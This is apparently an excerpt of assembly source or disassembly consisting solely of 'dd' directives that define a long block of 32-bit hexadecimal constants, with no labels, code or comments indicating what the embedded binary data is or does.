dd 36CBC659h, 0FD982CCEh, 6D00E438h, 193CE3D3h, 8100FB42h
dd 0F11F4A86h, 1158555h, 0A4B84610h, 0DC0E5F34h, 0A700CC52h
dd 0FBFF83ABh, 20940CAh, 0DA5423F8h, 0E3B03Eh, 332D90D0h
dd 492A0203h, 88A6F124h, 0F35A0Ah, 0DE115D48h, 229E03BCh
dd 8D18FAC7h, 510B9430h, 12670005h, 615CFF6Fh, 4900F45Fh
dd 0C253DD01h, 0A891FD04h, 5A4FC0h, 6335ED6Ah, 0F3465B29h
dd 0EA1F6600h, 7C6003B5h, 2697161h, 2608014Fh, 0FC832AB2h
dd 7C0166A5h, 0AB7D3CC5h, 4BC55BFCh, 0B7F160D2h, 7EF8B4h
dd 8D35424h, 0E1E446D5h
dd 2EBFB800h, 0FA21A8Dh, 0FFB93F98h, 3218F380h, 59E6950Ch
dd 789C80F0h, 3491EC80h, 48F4042h, 0D5C873Eh, 667491BDh
dd 0B308809Eh, 0AE2069BAh, 0F58711Eh, 7760E25Fh, 40EC8B8Ah
dd 81C7AA35h, 0DD2D38h, 0D9CEA068h, 0E0CF05h, 98A9620Dh
dd 0D2A57039h, 0F50ABD19h, 67E5B739h, 18C72CF4h, 19F480DCh
dd 200FBC41h, 60D851DDh, 0E45E2CB0h, 15A70061h, 0FA0B922Eh
dd 0B7001416h, 0F17E965Dh, 0A6E832h, 427FDC2Ch, 9CCF9B6Dh
dd 4B806B00h, 0A230B9D5h, 0E2D13E1Dh, 6490C187h, 0D8EB80B6h
dd 0BD00EE15h, 8A9C452Ah, 1DB80AD6h, 80A4E7F5h, 0E91F7390h
dd 8D32D9D4h, 20A8294Dh, 0A2F99BFFh, 1CA01690h, 0AD075246h
dd 5F804F0Bh, 61931AB0h, 0EA1C005Ah, 0C6FC6756h, 0F6006C0Eh
dd 0F83B14B7h, 106DBB0h, 0FA96B28Bh, 0C8C51DDDh, 0C97F6261h
dd 0D9217B00h, 0DBBC29E8h, 0D4F0DCh, 0D6EFB010h, 194054Ah
dd 42321500h, 8FF7DE73h, 473C01FEh, 0DBC8A689h, 0D906706Eh
dd 6F57C900h, 88543E3Ah, 9C790332h, 1E52B063h, 28CB14A8h
dd 0CCFE0207h, 35858315h, 951F9840h, 0D3B470h, 0CFFBD86Dh
dd 5767F7DBh, 0D996200h, 4A56B890h, 217769h, 0C384151Bh
dd 0BAB7A2D4h, 1317D503h, 0F84E9975h, 0F48066E6h, 92B0FC7h
dd 0BD60EC5Dh, 12B858A0h, 1C0A90Fh, 48C5804Fh, 0F4938Fh
dd 0B2EF0F8Eh, 0A28810B9h, 0DE13A101h, 76AFE2DCh, 0B6F8E1D1h
dd 1445009Bh, 482ADF94h, 0AD00DE98h, 0E30F771Dh, 3A0C03BEh
dd 0B0025F6h, 93FB2E7h, 6C757B33h, 5C3008C1h, 0C080594Fh
dd 11D18D74h, 0E3B85670h, 0C49D7D00h, 50147E40h, 73960E19h
dd 5C12AA6h, 70305EB9h, 0F100E5F4h, 8FA2728Ah, 6B0B54h
dd 64EBA08h, 0B4EB44B5h, 9365200Fh, 41B6EE52h, 991EEC62h
dd 16066098h, 0F730B835h, 0D6F90855h, 6ECB01F4h, 0B064EC21h
dd 6D2BCC4Eh, 0AFCD7D00h, 4DD5C4F0h, 7AED0083h, 87CE4746h
dd 1100BF59h, 6FEB1FF3h, 7E68EE4Ch, 0D4151C7Fh, 4648035h
dd 0D1BE2A2Dh, 0B400E4E6h, 0AD4B2F7Bh, 5CFA0C6Ch, 197CAE77h
dd 840AD575h, 0B210A6D4h, 440CCA00h, 8FF13Ch, 584575B6h
dd 0D76021D2h, 0FD6CD100h, 0D2371C0h, 2B81FB7h, 973243C6h
dd 0CD800C6Dh, 0D2016FE9h, 611C2846h, 2FE8D530h, 135398FAh
dd 7EF76E5h, 30BA8849h, 2984AE33h, 2440F849h, 0C000FB60h
dd 0F4D080D4h, 0EA3F0033h, 66A3D782h, 717D429Ch, 0E854C900h
dd 0AA817323h, 0D6351FB3h, 4B975DA9h, 8D800F7Eh, 0BE67F65Fh
dd 52385A24h, 26AF1C00h, 79ADEAA6h, 28AB3CDEh, 0BF83613Bh
dd 277CA7A3h, 7A8103Ch, 9A9E8FC0h, 0D88B8300h, 0A22100A4h
dd 0FA939549h, 73E4A1D2h, 0F309017Ah, 83AE9F81h, 0B0B1AA2Ch
dd 0EF0C23h, 733F0E8Dh, 2719F272h, 0F9786F00h, 0D0A6AF53h
dd 0D8690066h, 52E7C071h, 0BF0267FDh, 4A415931h, 1C91403Ah
dd 0DABC000Dh, 5BF10FFFh, 687510A5h, 0DDE7A200h, 352D30FEh
dd 0E2D438C6h, 0DFA46100h, 0ED6D1784h, 57EAA4A0h, 0EFE180h
dd 0B6C8D978h, 0E9BD8820h, 0D3004EFEh, 42073ACEh, 3FFDBB10h
dd 0CA80B230h, 7A46AEF7h, 1503713Fh, 0D34C7221h, 0ED0B880Fh
dd 0B9181E5Eh, 306B4034h, 5B51E1BAh, 39C8F500h, 83DF4529h
dd 60EEDCh, 0AC227F2Bh, 69DB1233h, 97A6871Dh, 39663641h
dd 71C87CEDh, 20D002Fh, 0CFA8B303h, 76017361h, 0C88FA9EEh
dd 0D2092CBh, 0D7634CE8h, 0DFB78900h, 577FA68Ah, 27533400h
dd 26CFAA54h, 29010250h, 0C1202D21h, 0FC80FC6Ah, 366BC6EBh
dd 33CE3E01h, 60784F43h, 37C4BBF4h, 7008375Bh, 28A17214h
dd 557C4500h, 0FE78089Dh, 85E701C7h, 0C638CD65h, 0A6E12AAEh
dd 0E20820h, 0E15F1013h, 6486D4C5h, 0EB347F00h, 0DA2536D2h
dd 17F300C0h, 597E1FD0h, 3F00DCE9h, 4DB4D846h, 0EA6A64h
dd 1662EB19h, 9933206h, 2BB7A00h, 8F1A659Dh, 4779B5h, 76929907h
dd 1653E97Eh, 0ADFB1900h, 30B48545h, 137B79D9h, 0AFC0615Bh
dd 0CD01341Dh, 0D91B79Eh, 0EB8830h, 3B9FAB37h, 0E974A7DAh
dd 5E0060B8h, 0F70F45Bh, 3FE89A6h, 6D88A8F9h, 80A74AABh
dd 0C135C716h, 0E9FFB50Fh, 2051EF5Fh, 7C94E176h, 4CAA00D6h
dd 2361ED8h, 2B001954h, 37E98883h, 0A3304h, 0B22AA06Fh
dd 0AB3FEF08h, 0BE7FF400h, 69A8B1F0h, 6CF0E1h, 8EA71435h
dd 9CB98536h, 0E8165E03h, 900AB748h, 45A38h, 0BAF6A894h
dd 0CA9EF525h, 99A41600h, 0E2B0C05Fh, 1B0A0166h, 0F6306AFFh
dd 0DFE1D444h, 0A9054200h, 0D6F05439h, 475100EDh, 0F3A4E97Fh
dd 11E0149Ah, 706EEC30h, 0F52796Bh, 382EEB7h, 53BA0C80h
dd 1C0C86A2h, 28E802FCh, 82350F6Dh, 11F88446h, 0C2F08115h
dd 8099B728h, 0C9ACEF2Ch, 0B441E81Fh, 0B2656BA2h, 867D2042h
dd 40217883h, 0B300BDBCh, 0CF2AFA6Dh, 99AA8Bh, 140F55D3h
dd 3FB98A05h, 83B10305h, 240C941Ch, 3E63889Fh, 95284A90h
dd 2947000Ch, 0C1AD162h, 0F400FCC9h, 0F4A2C35h, 0A242EAh
dd 0C5A73283h, 975DD647h, 98993300h, 3F2FC754h, 810200FFh
dd 1C25B7F5h, 29027032h, 535A12C8h, 0C46EE021h, 5EA20545h
dd 0AAF884A7h, 0DFCAB5C7h, 53692700h, 0C3E568h, 4DC95CB9h
dd 0AD475A16h, 0E4CD6400h, 9E13BAFFh, 0DE5F005Dh, 0A086BE1Fh
dd 0C40709B5h, 0BB0A3450h, 7B5A3070h, 5C240B15h, 87F5BC1Ch
dd 13D07C18h, 0AACE80Eh, 0ED4D632Ch, 2F3780DCh, 6FC17AB1h
dd 8412DE2Ah, 9DF74D18h, 0BC1020h, 6AA0577Dh, 0E6AA4C22h
dd 5198FFFBh, 0CD481EF9h, 728E078Dh, 0D8769FE1h, 94F60640h
dd 511FFB42h, 4C58E212h, 0DA84CA00h, 0C04989Eh, 0EACD743Eh
dd 9C07189h, 66691AE8h, 0CC230065h, 4A939FCBh, 7E18DD82h
dd 7B5126FBh, 0CA7085h, 71254364h, 0B8760C34h, 8B5BA300h
dd 90739841h, 317A0CCBh, 6E58AE75h, 496CD900h, 0BFABC633h
dd 0D0F90082h, 0A99B80CDh, 0D43FB5ACh, 9EBE78h, 2E776905h
dd 71F7E240h, 98703057h, 0E6FD2DA1h, 0F5558207h, 7B804DA8h
dd 13E5E908h, 6ED8BFFh, 0D1EB4852h, 0F5FEF703h, 18446D0Bh
dd 915F6641h, 8C74A746h, 0FE42DB03h, 938B6141h, 88317744h
dd 4C00DD9Fh, 98561BECh, 5DA1947h, 0D76E48BBh, 43884C1Ah
dd 0B288ADE8h, 3BC1002Eh, 3EA7701Eh, 13EABE4Ah, 1DD6910Fh
dd 5464608Ch, 1B015h, 55249AF5h, 0EE273C22h, 0F19773Eh
dd 8993DE70h, 0D62AE0D3h, 0B67907ABh, 0C09418A0h, 0DEED64BBh
dd 37E37B38h, 22F02097h, 0C0603106h, 0C7962C31h, 0E30619A3h
dd 0E2CD07EAh, 2E3E3008h, 0C7928C20h, 9D6D3903h, 80C6341Dh
dd 0C3982CD3h, 8AB19F41h, 0D737CBB0h, 199AE430h, 3407D94Ch
dd 86104DCEh, 620019F8h, 0EAF3E267h, 3055DED7h, 8EA0D201h
dd 3354CC22h, 0C708904Ch, 0C2F306BDh, 0D2002D67h, 7D3DC79Dh
dd 4C440093h, 286A76CCh, 0F011A08h, 8358928Bh, 7ED9E2DAh
dd 0CF89ACCh, 0D935BBD6h, 3E0082A1h, 395F6446h, 0CCA75085h
dd 0E221D509h, 0F2460600h, 92581631h, 63F74FCh, 0FD8CFE8Fh
dd 0DC0C5051h, 0F8D1FBE2h, 2E1538A5h, 21B0380Fh, 6576A1E0h
dd 8CFC1195h, 2629D402h, 60054A47h, 0DE17DAh, 2C10F2E2h
dd 0C4AAA16Ch, 0FC28E600h, 0D5DDD371h, 2EB70079h, 0BA7BBE82h
dd 6C0936E5h, 3970AA8h, 0B851F107h, 7F07B332h, 242C001Fh
dd 0C190EB99h, 59032E68h, 0E8060386h, 4064A2CCh, 480837h
dd 9F6518A2h
dd 422D9827h, 4A006CF2h, 20FABF81h, 992C5Dh, 2AF9DD14h
dd 1CAE6A8Fh, 0CE240CECh, 3C000474h, 0FB161381h, 36833A89h
dd 0D2217C30h, 0A30338EDh, 4BE262C0h, 0FC11D895h, 41C3010Bh
dd 2BD42CA6h, 551080C7h, 12497C77h, 25840CF8h, 0C970CE0Ah
dd 1801AF43h, 0BB820937h, 27000B36h, 3814370Eh, 0BB04AADEh
dd 0A5154350h, 0F9E8201Bh, 94F577DDh, 3F8B6131h, 0DC30717h
dd 809DD12Bh, 746B7894h, 0B39CA81h, 0C35ED82h, 0C0C98945h
dd 2400BA37h, 2AB1FEE0h, 50BE0AB9h, 0D3BA48h, 4F16C47Ch
dd 0FADDC35Ch, 0A2817ECh, 11C0FAA1h, 6DD94A48h, 60610086h
dd 81F8E02Ch, 0A0009C53h, 21BF9F46h, 3F47FF3h, 0E585FBFAh
dd 0C6988E43h, 1B0025C1h, 28C8E786h, 3C0ECDDh, 0B237FA75h
dd 90EFAB74h, 582B29CAh, 15553900h, 6938A648h, 4988006Bh
dd 82C6BE4Eh, 7101C524h, 98919647h, 6DECECEFh, 0A2700EAh
dd 0FD599DD5h, 0CD14C75Ch, 0EE0451DDh, 0D46D14FFh, 48870008h
dd 24B45725h, 0DC7A3EF1h, 5EFD5880h, 0A9534E90h, 37D919C1h
dd 4712FAEDh, 0EF1BD520h, 39DD18CCh, 6A510893h, 21834C34h
dd 9E333C00h, 0F50839h, 54A1B953h, 48625FAAh, 0B6A9CA0Ch
dd 2818FAh, 0A7F89422h, 358CBF6h, 0F0B769F0h, 0BE0200F7h
dd 0C8E1DCA3h, 1C0055CDh, 17DDEE23h, 16C4CCAh, 100CDE86h
dd 404EBDA0h, 63D96640h, 40D09F63h, 0C7AFA08Ah, 93650028h
dd 0BE9BFE08h, 5501EF1Dh, 0DDCB175Ch, 0B9BEC7B9h, 7E700078h
dd 5EF7FA3Fh, 237F044Dh, 3CCADA3Ch, 807198B1h, 0D9B86469h
dd 802AE0F8h, 88CC8741h, 0AAED12Eh, 0FDC75ECBh, 2FA800AFh
dd 0C14E373Ch, 0B9ADF21Dh, 0EB5B6B40h, 34B24D0h, 0B811CD17h
dd 60FBCB96h, 93804FE7h, 98DA47ECh, 0ACFDAF29h, 2FDFDC01h
dd 0A0EEAC41h, 6C9D8CE8h, 5EA90267h, 0C8843C48h, 4C4DFCA0h
dd 7F7903DAh, 0C637F701h, 0B9AE06ACh, 2A4E2CCh, 0DA24F290h
dd 9883A3E7h, 0EFF06CBBh, 3D56CB9Ch, 88472124h, 16050718h
dd 9040EF9Ah, 0BF28D650h, 0FA270337h, 3C71B3Eh, 80475280h
dd 0E0A4A000h, 0F04CA248h, 37E703B0h, 529EA839h, 647A9003h
dd 0E8F684B5h, 0E8F99FE0h, 0A2D400CDh, 0DCF1CA24h, 3C00D3EEh
dd 5990A510h, 0CA124F32h, 23B0C818h, 22DF9D7Ch, 0B1354E30h
dd 0A0A6DC94h, 29D149Ch, 0D97F656Bh, 8044A3B3h, 236ECB00h
dd 0A8F00EF1h, 0BCAE5524h, 90BED1F0h, 31E08019h, 3DED2422h
dd 0F26E0054h, 2CEB5916h, 7D4D490Ch, 2D1823h, 0A30C1339h
dd 0BE6C4AB9h, 0DCA5D70Ch, 125BA8D1h, 205D025Ch, 60287028h
dd 204CF548h, 9274A847h, 85B0AAFBh, 0F46C6B90h, 0E9704417h
dd 69D4850Ch, 18AA4818h, 699B7D02h, 0E976E80Ah, 7007151Ch
dd 6EE0A759h, 0CB10FC40h, 843700F2h, 0DAD4604Eh, 34AC34F4h
dd 7F036B46h, 7F21754h, 2955DFB3h, 0F8A3E9CCh, 0A614CBEDh
dd 39CEA73h, 2355ACD8h, 5EBEF87Fh, 335C00FAh, 0DB9F0478h
dd 0C6181A1Bh, 8CB89C72h, 0AA03002Ch, 7FD770D8h, 0D0ECC7CFh
dd 0B15EB600h, 0A656EF28h, 88AA50DCh, 0C0A0705Fh, 0C4E6A288h
dd 5CA2D4E2h, 50C3D485h, 7C8FE8ECh, 7F92EF40h, 962AA3F5h
dd 0AAF8908Bh, 4F02A7F8h, 76F61A4Ch, 0A504049h, 6B900EA9h
dd 0DE202FF8h, 28EA97DBh, 2313B8C0h, 6052E0F9h, 364770CAh
dd 3B3C60A1h, 44D4030h, 6F178B67h, 5D7CA0EDh, 0FCF62704h
dd 0D140C820h, 0E0CF0E13h, 0CCB2E20h, 0B7674E99h, 0CA447429h
dd 281A344Fh, 5BA00130h, 81DC7C3Bh, 48C1BF69h, 0E1F70C36h
dd 189BA170h, 0EE0E893h, 1378D864h, 4A1B1000h, 0D455A2D9h
dd 0BE724Dh, 965C15EBh, 0CC1781F0h, 189A83EAh, 22419167h
dd 60B2F6h, 0ADCC8429h, 4DA23756h, 0EAC1A318h, 825B0h
dd 0ACBCF77Fh, 0C9E2724Ch, 0BD286090h, 871DDC90h, 0A70F9996h
dd 117F24CCh, 98839884h, 5366FFD7h, 0D4890631h, 184AC5DDh
dd 109D2B26h, 4E5EAC85h, 98D6E820h, 0F0F30038h, 0B7FB839Dh
dd 7CB10219h, 93C34802h, 106BC279h, 0B21911FCh, 13ABE210h
dd 0CC07FFh, 0FCE936A7h, 2312B47Bh, 2000A26Eh, 74A4A781h
dd 0AA411653h, 0EC340EBBh, 208EED49h, 30DC0B25h, 0F899A3B0h
dd 463B13F2h, 0E478A10h, 9B1EB88Ch, 0DDBEAF00h, 167057B7h
dd 205208C1h, 24C35ED0h, 98B99C39h, 57185D11h, 0FBEF0A93h
dd 3B022F4h, 0E64760BFh, 0CDA724F8h, 0F0178824h, 9EB80B4h
dd 88840840h, 0BE1C805Eh, 0C3F69A6Ch, 7D18C2F2h, 0FE18A715h
dd 7C9803CBh, 0EFBE5B10h, 6A8392A8h, 0DBD97D0Ah, 0D7018CA2h
dd 0CD7E73A3h, 0F5E811AAh, 267AC4F4h, 8F98B509h, 37C3FBBEh
dd 30229F52h, 67400E9h, 0BBCD88A6h, 1F005D24h, 0B8ED12CCh
dd 0B29A46h, 0BE21F95Fh, 1E3EFCFEh, 0DF88C71Dh, 64983B81h
dd 8220CCAEh, 0C43D0114h, 9599D757h, 88EAE8C3h, 7900CEE8h
dd 168B9CCCh, 3641FEh, 0B6F6F52Fh, 6063C462h, 7FA2C709h
dd 2CE09687h, 0C1800837h, 20AABB4Eh, 9A2E0EFCh, 28243056h
dd 9CCA6BC5h, 24BDC310h, 0CB113488h, 0D8213848h, 2E0B4604h
dd 1AC98C87h, 0B3240468h, 6C2CA080h, 0C049AEBh, 0A420F970h
dd 4A4C1141h, 0C1198C20h, 275C028Dh, 0D020FA83h, 9E2214A2h
dd 0DCFBC848h, 0BA603098h, 0A92FA469h, 0CAC90A8h, 8E674C87h
dd 584C8320h, 781B8C40h, 4CCA5418h, 288F6223h, 32F5C2Fh
dd 0FB674A78h, 415CE71Ah, 30FC9257h, 2438C9BFh, 2498D250h
dd 8FEBA510h, 6D7F4103h, 10D0C2DBh, 4B298895h, 268822h
dd 2191006Eh, 26249527h, 49AC0112h, 9C4C7418h, 6D2CA2E4h
dd 66E028F5h, 16C161Ch, 0CC135D27h, 283025C0h, 765E0B4Ch
dd 0EDD0A2FDh, 7686637h, 608B6814h, 15E1E2FAh, 4E2CE480h
dd 5302CED7h, 0D97CBBB9h, 0C06848EFh, 0B4CC02F9h, 586A7A12h
dd 7D442464h, 0B74E2496h, 0D9B18324h, 0ED8106DFh, 106836D8h
dd 0D90EB437h, 2A6A84A7h, 89893E4h, 0DC80A250h, 64AF6A58h
dd 0C91892A5h, 1C48C598h, 51C0F722h, 7513BDF0h, 6E1A0012h
dd 0A9CCA369h, 5CA32E8Bh, 0BE51D904h, 0BCBA24F0h, 912F01AAh
dd 0B655DC54h, 6615C022h, 1200F85Ch, 0D96F875Fh, 8318BE5Ah
dd 24A9CC1Dh, 0DCEF0170h, 0B28E6ACh, 9C6C4054h, 7958CCDEh
dd 0E1E98050h, 0A3B93A3h, 95A4A10Bh, 794341BCh, 0C004C512h
dd 0BBFEBEA9h, 313A297Bh, 0C91857B8h, 5EBC81D9h, 4AF4A1B2h
dd 0AFC10180h, 0AE6170F9h, 0C7F18B4Eh, 20E000A8h, 78E20B05h
dd 0DCF60095h, 0E4A4CB1Bh, 0F40143BDh, 75A9AFD9h, 50C48423h
dd 0DE5300F9h, 65627A77h, 936051EEh, 158940D8h, 84D700AAh
dd 5212137Dh, 47E67339h, 60884A58h, 5DD67F39h, 3C291D70h
dd 0D56540DAh, 22DB58D2h, 520CEF09h, 6907771Ch, 0C530ACCDh
dd 81D9943Ah, 0D3A75BB8h, 80D0364Ch, 0FEDE3C5Ch, 1BD40D00h
dd 48176DC5h, 9301067Ch, 9672F952h, 0E7FC75D9h, 187F7C04h
dd 8951800Dh, 4803E25Ah, 5E89811Bh, 3509ED2h, 7F8D47DAh
dd 92C38E02h, 0B8DC5DE8h, 8083763Ch, 8A426457h, 70F7815Bh
dd 5CA0C0B6h, 60B93E11h, 1A0C02F6h, 38699022h, 8364000Ch
dd 40D59DB3h, 0A23A1725h, 89F29D7h, 80D1A1BEh, 835E7D55h
dd 0D63FCF77h, 5BF78390h, 98B1201Ah, 7B93C65h, 57A061B5h
dd 0E255277h, 7BE52090h, 18520A0Fh, 1E65A001h, 78C62DFh
dd 0DD07DC0Dh, 85448057h, 0A300176Bh, 0D9A65380h, 285D5CFDh
dd 384D39Bh, 37580277h
dd 1824FAB2h, 0B006FA3h, 59C5D876h, 8FCE06F5h, 317F7E7Ch
dd 36D3B500h, 2BFE935h, 823F00D6h, 0DD8C57B0h, 0B9028ED5h
dd 8F8A0D53h, 745A0051h, 5CB0A75Ch, 0DA5E9105h, 0A85E13D4h
dd 0B4520F00h, 2BD71EFh, 0F782C226h, 443BA72h, 0B2193806h
dd 0E830DC9Eh, 4AD501B6h, 785D258Dh, 7B7CC05h, 0BDBA003h
dd 0F096707Fh, 3DCB879h, 0DA2589BBh, 0D80CF98Fh, 49204D81h
dd 6075E61Dh, 0D307381Ah, 89000D70h, 0B8028C79h, 7394E10h
dd 7CC58FAAh, 312A3552h, 0C379008h, 1311F85h, 5F22CE8Eh
dd 9107E0B4h, 0E0C6940Bh, 0DF53E5E4h, 68244A7h, 41C9D5EEh
dd 0B5D4B344h, 48380033h, 52C355D2h, 8127478h, 0FB001A4Bh
dd 6520B9CFh, 337F057Dh, 0D2C9D6h, 8240A01Ch, 0A892D4B4h
dd 840AE8F8h, 0D07BECB0h, 2636BE40h, 638324CAh, 0C15F60C8h
dd 0A2127089h, 0AC10B98Dh, 0B004CACCh, 0A4D88ADAh, 181A2A81h
dd 0A440F687h, 928ABB01h, 957EE44h, 3466B70Fh, 0B8D81803h
dd 48656FC9h, 18C0508h, 0D8E7517h, 20527758h, 780F09B0h
dd 40B59D83h, 0D404E926h, 0D05A48C4h, 920F2F50h, 0FA7E2E50h
dd 66AB094Bh, 112BFC00h, 9E4CCF43h, 33D5A14Ch, 0FBB55B00h
dd 69AAA488h, 0D58C488Bh, 0B80E5A31h, 0DCB93707h, 558E9600h
dd 7FD1F01Fh, 1506038Dh, 0BA08ADCEh, 0C51A57C0h, 0A059BD00h
dd 5DDB7946h, 36D018F9h, 0E58D684Ch, 122CF3Bh, 4FBE9C5h
dd 0B421D7CEh, 2510B04Ah, 5B9706B3h, 90A1FAD5h, 2ED2487Ch
dd 49BD8450h, 0C2034415h, 0BA340706h, 49951820h, 16002C1Bh
dd 71C7E53h, 610794FAh, 20B6718Ch, 0D9762140h, 98A47337h
dd 3E5A01Ch, 2A6007Ah, 5B7D56DAh, 5260E4D0h, 4C99CFC8h
dd 0DF460h, 22DCACB8h, 0BD49CD0Bh, 0ECEF3701h, 0DD61ED89h
dd 13D814E9h, 5C951E73h, 99CC0ADFh, 0ED1550C0h, 3498D975h
dd 26375F00h, 3BFC0374h, 244717Fh, 8E86EB1h, 9841A3CCh
dd 0D5A02528h, 6118513Bh, 10304BD7h, 6509E345h, 0C01333CBh
dd 2D8458B8h, 0F5C7DF00h, 9359CE05h, 7A4FE237h, 0B46F50A2h
dd 0E0C6005Bh, 0AD31EC5h, 0A0907EB0h, 74820B0Ch, 0F9D078BAh
dd 0C4180C1h, 8F012214h, 0DAE4518Ah, 41BAF79Ch, 0A2C18468h
dd 815F1900h, 59FEB222h, 0C2CFCA3h, 50C732FDh, 88003918h
dd 5CB863C2h, 0ACBC3F9h, 468E52D0h, 0D84303D0h, 0EF0E70Bh
dd 99057F76h, 897C2351h, 6A38D843h, 0E110134h, 295F487Eh
dd 0C68C53FEh, 0BF57E2F1h, 0A2D704A0h, 883B9F4h, 0CA5681C5h
dd 927080D4h, 89D60044h, 4C0AC00Bh, 6D0577D7h, 0C65A3F8Ah
dd 0CC024EC1h, 0CFBD72F4h, 0FB850B40h, 188019F4h, 0F05DF9FAh
dd 682080F1h, 0E7A3371Ah, 1CBEE759h, 4A285238h, 17A8C60h
dd 8C228226h, 85D85C8Eh, 0E85EE996h, 1D79803Fh, 2E03163Ch
dd 4A5D3207h, 8480F108h, 1EB1555Ch, 0FC4FC000h, 0BFAFC9FFh
dd 433214FAh, 0B605AC62h, 40D4E476h, 0D61D6328h, 608C9315h
dd 5B9F2146h, 0E800101Dh, 0FC95F469h, 12CA64E9h, 2860A7Ch
dd 24D78710h, 51307040h, 0D27FD015h, 0F51F04FCh, 1AC0783Fh
dd 3A540BE2h, 172AE0C7h, 739D00C4h, 925A6F41h, 59012B96h
dd 0B40EF60h, 518393BEh, 0BFE7875Dh, 8765103Dh, 0A4E43A57h
dd 28734D00h, 99ED1D98h, 0CD8B8307h, 0E4905152h, 4EFA9E2Dh
dd 24AC5E00h, 89C4A534h, 3C9C00F0h, 0D80EDC79h, 0F300D325h
dd 2CC8FB6Eh, 1C554617h, 0C1EE9584h, 68B90328h, 506AF035h
dd 0FBDFF701h, 23226276h, 4915D0h, 7430FD4h, 0DBC467B2h
dd 0D23E7A1Dh, 0AD21CB18h, 18430014h, 9D59130h, 2400DAC2h
dd 5089F631h, 0C006355Fh, 10254158h, 30A5FA49h, 4B67C864h
dd 96C42680h, 950A1D7Eh, 0FE83613Fh, 0F429EF18h, 9DA9000Bh
dd 481035CEh, 0F7703FFDh, 572DEF03h, 0F8AC1A85h, 0A151E18Dh
dd 0D1E09874h, 107882h, 2D1BBA58h, 3E19415Bh, 0A9718000h
dd 2E0B4CFEh, 117600E5h, 9FA95AAh, 7D00619Dh, 78A2B4EFh
dd 0E359D4h, 51283858h, 0EBCC74CBh, 8ED33400h, 10DDC014h
dd 4B410196h, 0AADF18A9h, 0A4C8EF83h, 0F40036C6h, 0A6A3E215h
dd 0CB6DF6h, 0F768177Bh, 0A40A2C5h, 2E9A3C00h, 5A475DC1h
dd 76FD00A8h, 0BD8B43E8h, 890012A5h, 1F9CA3B8h, 24DFF123h
dd 0DD97EFh, 0CFF4204Bh, 9000F0FDh, 257C81B4h, 9F6970h
dd 0A0239567h, 45B56C2Ah, 5C5A8301h, 0F8B30DC3h, 707460h
dd 2E08BA73h, 7255B99Eh, 9B86900h, 22BE5E66h, 3E270F7Fh
dd 0BF6F5B6Fh, 0FB801E00h, 771AF0Eh, 723CFF00h, 0D312774Ch
dd 0CD29007Ah, 4743F99Bh, 253E9097h, 7FAA00C6h, 0E8A07DAh
dd 232B3B79h, 0DFBF63BBh, 0D6C3DD86h, 9E162820h, 0A5003075h
dd 76D25FFDh, 611C06Ch, 20CD698Ch, 0CE6617Dh, 0C9804C00h
dd 0F41E8863h, 0A0F12E25h, 0C6F830A0h, 526F1391h, 60464030h
dd 3753A944h, 0C0E07CA0h, 0F4B28C1h, 0BFEE843Eh, 0F3470CFFh
dd 0FAB88D7h, 64A12D30h, 682CF5A0h, 0FA281AA4h, 9300AE47h
dd 17BFC8ECh, 704EA641h, 63CC00FDh, 54ADDD87h, 0AF00A120h
dd 100A6F61h, 867E2h, 0F32AAA4Eh, 1C6E3046h, 5854A800h
dd 6D15D89Dh, 29C9629Ch, 8821B9EAh, 0F4012439h, 0CA651191h
dd 0E911D612h, 0B05111F3h, 0C7DA1195h, 0C55CD222h, 0A519007Dh
dd 152C9854h, 0A6072FFAh, 731E2ADCh, 8BEE3240h, 0CF04B2h
dd 0FB02E950h, 0B7FA3531h, 0DFEB4800h, 214A879Fh, 2ACF00E7h
dd 2DCCA694h, 4B1E044Fh, 0F3032896h, 8CCB9Fh, 9057C018h
dd 98020F1Bh, 32965200h, 0C70ABDD7h, 0D86C00C8h, 1720C37Bh
dd 0D900DE75h, 0E2A1EA55h, 3998E973h, 5C3F4D0Eh, 0DA131Ch
dd 68F597B8h, 6F005D36h, 1E540434h, 56151Ch, 629BE4DAh
dd 0A9F4C9E5h, 1AFC0500h, 0B1CE711Fh, 6B9200E9h, 2E595A8Eh
dd 9400931Eh, 8761AACFh, 1B84A485h, 78E5C7CDh, 0F94825F8h
dd 11072C00h, 50D74128h, 0F6EC5836h, 56927B00h, 0AEFAD647h
dd 0B900C4E6h, 40121AB0h, 3997A36h, 5D37DEC9h, 2BA8B650h
dd 3100BA5Eh, 0FC193EA2h, 0B2906Bh, 4A89CBBDh, 59696254h
dd 0D9EEAF02h, 0E0E261ADh, 17103Fh, 0E726B53Eh, 0DB8EB009h
dd 18789A02h, 61C72DCDh, 0DFD85A8Eh, 0BA800A81h, 80941942h
dd 4C0DB4FEh, 401066Fh, 0EABC2FB5h, 27605BDCh, 0D13207C3h
dd 90E151F3h, 0B62037E2h, 94289F1Fh, 0EDE09EC0h, 55BBAEh
dd 0E4CA60A6h, 0D9B2A48Eh, 0E6127407h, 0FE50DB8Dh, 0C499B6h
dd 0DDD751D1h, 0C8F3B51Fh, 0C600D8B8h, 46E60517h, 0E597DA53h
dd 1A525F4h, 135F0F19h, 0E0AD3AE3h, 0A400A8B7h, 0A376C46h
dd 5CEE9395h, 0E8002712h, 137CEC3Dh, 86007216h, 0A46F1BA9h
dd 35201EDh, 83A6990h, 0C4B0148Fh, 0C604D14Fh, 0BCD794E8h
dd 49E11EC1h, 0A98C30h, 268816DDh, 0E93A0506h, 34FD4500h
dd 92E16E0Dh, 0C2C700A0h, 0EF3BF643h, 0D5007F29h, 9785779Ah
dd 7148D352h, 0FDD7EABh, 0EC74611Fh, 8F652B43h, 0F16E7D88h
dd 6CC65C00h, 0F2C3B7CCh, 14B01C86h, 19B2C062h, 0C7FD8CFBh
dd 2D68A700h, 33BE03B3h, 308F268Ah, 0C5430E42h, 28AFFC60h
dd 0CC0062C4h, 54B151F5h, 0A5B68Ch, 5FFEF752h, 8F4CD2BBh
dd 3A85493Bh, 91E400D7h, 280D7E71h, 316B0046h, 0FD50F783h
dd 747A6A54h, 5C674500h, 21AA6DDBh, 0D0F20123h, 4A8175F5h
dd 4BC0F62Bh, 82006574h, 0DF718B0Ch, 3164E3Eh, 7709DF2h
dd 91889B41h, 8C066A48h
dd 6F4722B4h, 66540618h, 29F31EBFh, 4532480Fh, 827701D8h
dd 80431681h, 92CA99C3h, 72D7A5D0h, 42A30674h, 20B215A8h
dd 0AA839F00h, 96704011h, 0F45E38CAh, 0FF273Eh, 3C7A2BA4h
dd 5B53DFFFh, 0D002C903h, 0D1EE7976h, 64D05D93h, 0F670E9h
dd 98E2B556h, 91856C1Bh, 9700EBEAh, 0C33BEC2Fh, 0E2326255h
